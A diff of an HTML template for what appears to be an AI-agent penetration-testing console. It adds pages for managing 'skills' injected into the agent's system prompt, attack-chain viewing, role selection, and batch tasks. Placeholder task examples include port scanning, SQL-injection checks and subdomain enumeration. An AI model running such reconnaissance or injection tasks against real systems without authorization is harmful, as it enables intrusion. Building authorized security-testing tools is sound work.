@@ -611,7 +633,7 @@
<div class="page-header">
<h2>任务管理</h2>
<div class="page-header-actions">
<button class="btn-primary" onclick="showBatchImportModal()">批量导入任务</button>
<button class="btn-primary" onclick="showBatchImportModal()">新建任务</button>
<label class="auto-refresh-toggle">
<input type="checkbox" id="tasks-auto-refresh" checked onchange="toggleTasksAutoRefresh(this.checked)">
<span>自动刷新</span>
@@ -676,6 +698,68 @@
</div>
</div>
<!-- Skills状态监控页面 -->
<div id="page-skills-monitor" class="page">
<div class="page-header">
<h2>Skills状态监控</h2>
<div class="page-header-actions">
<button class="btn-secondary" onclick="refreshSkillsMonitor()">刷新</button>
</div>
</div>
<div class="page-content">
<div class="monitor-sections">
<section class="monitor-section monitor-overview">
<div class="section-header">
<h3>调用统计</h3>
</div>
<div id="skills-stats" class="monitor-stats-grid">
<div class="monitor-empty">加载中...</div>
</div>
</section>
<section class="monitor-section monitor-executions">
<div class="section-header">
<h3>Skills调用统计</h3>
<div class="section-actions">
<button class="btn-secondary btn-small" onclick="clearSkillsStats()" title="清空所有统计数据">清空统计</button>
</div>
</div>
<div id="skills-monitor-list" class="monitor-table-container">
<div class="monitor-empty">加载中...</div>
</div>
</section>
</div>
</div>
</div>
<!-- Skills管理页面 -->
<div id="page-skills-management" class="page">
<div class="page-header">
<h2>Skills管理</h2>
<div class="page-header-actions">
<button class="btn-secondary" onclick="refreshSkills()">刷新</button>
<button class="btn-primary" onclick="showAddSkillModal()">添加Skill</button>
</div>
</div>
<div class="page-content page-content-with-pagination">
<div class="skills-controls">
<div class="skills-stats-bar" id="skills-management-stats">
<div class="skill-stat-item">
<span class="skill-stat-label">总Skills数</span>
<span class="skill-stat-value">-</span>
</div>
</div>
<div class="skills-filters">
<input type="text" id="skills-search" placeholder="搜索skill..." oninput="handleSkillsSearchInput()" onkeydown="if(event.key==='Enter') searchSkills()" />
<button class="btn-search" onclick="searchSkills()" title="搜索">🔍</button>
</div>
</div>
<div id="skills-list" class="skills-list skills-list-with-pagination">
<div class="loading-spinner">加载中...</div>
</div>
<div id="skills-pagination" class="pagination-container pagination-fixed"></div>
</div>
</div>
<!-- 系统设置页面 -->
<div id="page-settings" class="page">
<div class="page-header">
@@ -1076,12 +1160,52 @@
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.8/dist/purify.min.js"></script>
<!-- Cytoscape.js for attack chain visualization -->
<script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script>
<!-- dagre layout dependencies -->
<script src="https://cdn.jsdelivr.net/npm/graphlib@2.1.8/dist/graphlib.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/dagre@0.8.5/dist/dagre.min.js"></script>
<!-- dagre layout for hierarchical layout -->
<script src="https://cdn.jsdelivr.net/npm/cytoscape-dagre@2.5.0/cytoscape-dagre.min.js"></script>
<!-- ELK.js for high-quality DAG layout (reduces edge crossings) -->
<script src="https://cdn.jsdelivr.net/npm/elkjs@0.9.2/lib/elk.bundled.js"></script>
<script>
// 确保ELK对象全局可用
if (typeof ELK === 'undefined' && typeof elk !== 'undefined') {
window.ELK = elk;
}
</script>
<!-- 知识项编辑模态框 -->
<!-- Skill模态框 -->
<div id="skill-modal" class="modal">
<div class="modal-content" style="max-width: 900px;">
<div class="modal-header">
<h2 id="skill-modal-title">添加Skill</h2>
<span class="modal-close" onclick="closeSkillModal()">&times;</span>
</div>
<div class="modal-body">
<div class="form-group">
<label for="skill-name">Skill名称 <span style="color: red;">*</span></label>
<input type="text" id="skill-name" placeholder="例如: sql-injection-testing" required />
<small class="form-hint">只能包含字母、数字、连字符和下划线</small>
</div>
<div class="form-group">
<label for="skill-description">描述</label>
<input type="text" id="skill-description" placeholder="Skill的简短描述" />
</div>
<div class="form-group">
<label for="skill-content">内容(Markdown格式) <span style="color: red;">*</span></label>
<textarea id="skill-content" rows="20" placeholder="输入skill内容,支持Markdown格式..." style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;" required></textarea>
<small class="form-hint">支持YAML front matter格式(可选),例如:<br>
---<br>
name: skill-name<br>
description: Skill描述<br>
version: 1.0.0<br>
---<br><br>
# Skill标题<br>
这里是skill内容...</small>
</div>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeSkillModal()">取消</button>
<button class="btn-primary" onclick="saveSkill()">保存</button>
</div>
</div>
</div>
<div id="knowledge-item-modal" class="modal">
<div class="modal-content" style="max-width: 900px;">
<div class="modal-header">
@@ -1157,11 +1281,17 @@
<span class="modal-close" onclick="closeCreateGroupModal()">&times;</span>
</div>
<div class="modal-body create-group-body">
<p class="create-group-description">分组功能可将对话集中归类管理,让对话更加井然有序。</p>
<p class="create-group-description">分组功能可将对话集中归类管理让对话更加井然有序。</p>
<div class="create-group-input-wrapper">
<span class="group-icon-input">😊</span>
<input type="text" id="create-group-name-input" placeholder="请输入分组名称" />
</div>
<div class="create-group-suggestions">
<div class="suggestion-tag" onclick="selectSuggestion('渗透测试')">渗透测试</div>
<div class="suggestion-tag" onclick="selectSuggestion('CTF')">CTF</div>
<div class="suggestion-tag" onclick="selectSuggestion('红队')">红队</div>
<div class="suggestion-tag" onclick="selectSuggestion('漏洞挖掘')">漏洞挖掘</div>
</div>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeCreateGroupModal()">取消</button>
@@ -1172,6 +1302,13 @@
<!-- 上下文菜单 -->
<div id="conversation-context-menu" class="context-menu" style="display: none;">
<div id="attack-chain-menu-item" class="context-menu-item" onclick="showAttackChainFromContext()">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M10.5 13.5l3-3M8 8H5a4 4 0 1 0 0 8h3m8-8h3a4 4 0 0 1 0 8h-3" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
<span>查看攻击链</span>
</div>
<div class="context-menu-divider"></div>
<div class="context-menu-item" onclick="renameConversation()">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
@@ -1238,11 +1375,11 @@
</div>
</div>
<!-- 批量导入任务模态框 -->
<!-- 新建任务模态框 -->
<div id="batch-import-modal" class="modal">
<div class="modal-content" style="max-width: 800px;">
<div class="modal-header">
<h2>批量导入任务</h2>
<h2>新建任务</h2>
<span class="modal-close" onclick="closeBatchImportModal()">&times;</span>
</div>
<div class="modal-body">
@@ -1253,6 +1390,15 @@
为批量任务队列设置一个标题,方便后续查找和管理。
</div>
</div>
<div class="form-group">
<label for="batch-queue-role">角色</label>
<select id="batch-queue-role" style="width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; font-size: 0.875rem;">
<option value="">默认</option>
</select>
<div class="form-hint" style="margin-top: 4px;">
选择一个角色,所有任务将使用该角色的配置(提示词和工具)执行。
</div>
</div>
<div class="form-group">
<label for="batch-tasks-input">任务列表(每行一个任务)<span style="color: red;">*</span></label>
<textarea id="batch-tasks-input" rows="15" placeholder="请输入任务列表,每行一个任务,例如:&#10;扫描 192.168.1.1 的开放端口&#10;检查 https://example.com 是否存在SQL注入&#10;枚举 example.com 的子域名" style="font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 0.875rem; line-height: 1.5;"></textarea>
@@ -1474,6 +1620,32 @@
</div>
<small class="form-hint">勾选要关联的工具,留空则使用MCP管理中的全部工具配置。</small>
</div>
<div class="form-group" id="role-skills-section">
<label>关联的Skills(可选)</label>
<div class="role-skills-controls">
<div class="role-skills-actions">
<button type="button" class="btn-secondary" onclick="selectAllRoleSkills()">全选</button>
<button type="button" class="btn-secondary" onclick="deselectAllRoleSkills()">全不选</button>
<div class="role-skills-search-box">
<input type="text" id="role-skills-search" placeholder="搜索skill..."
oninput="searchRoleSkills(this.value)"
onkeypress="if(event.key === 'Enter') searchRoleSkills(this.value)" />
<button class="role-skills-search-clear" id="role-skills-search-clear"
onclick="clearRoleSkillsSearch()" style="display: none;" title="清除搜索">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="12" r="10" stroke="currentColor" stroke-width="2"/>
<path d="M15 9l-6 6M9 9l6 6" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
</svg>
</button>
</div>
</div>
<div id="role-skills-stats" class="role-skills-stats"></div>
</div>
<div id="role-skills-list" class="role-skills-list">
<div class="skills-loading">正在加载skills列表...</div>
</div>
<small class="form-hint">勾选要关联的skills,这些skills的内容会在执行任务前注入到系统提示词中,帮助AI更好地理解相关专业知识。</small>
</div>
<div class="form-group">
<label class="checkbox-label">
<input type="checkbox" id="role-enabled" class="modern-checkbox" checked />
@@ -1496,6 +1668,7 @@
<script src="/static/js/chat.js"></script>
<script src="/static/js/settings.js"></script>
<script src="/static/js/knowledge.js"></script>
<script src="/static/js/skills.js"></script>
<script src="/static/js/vulnerability.js?v=4"></script>
<script src="/static/js/tasks.js"></script>
<script src="/static/js/roles.js"></script>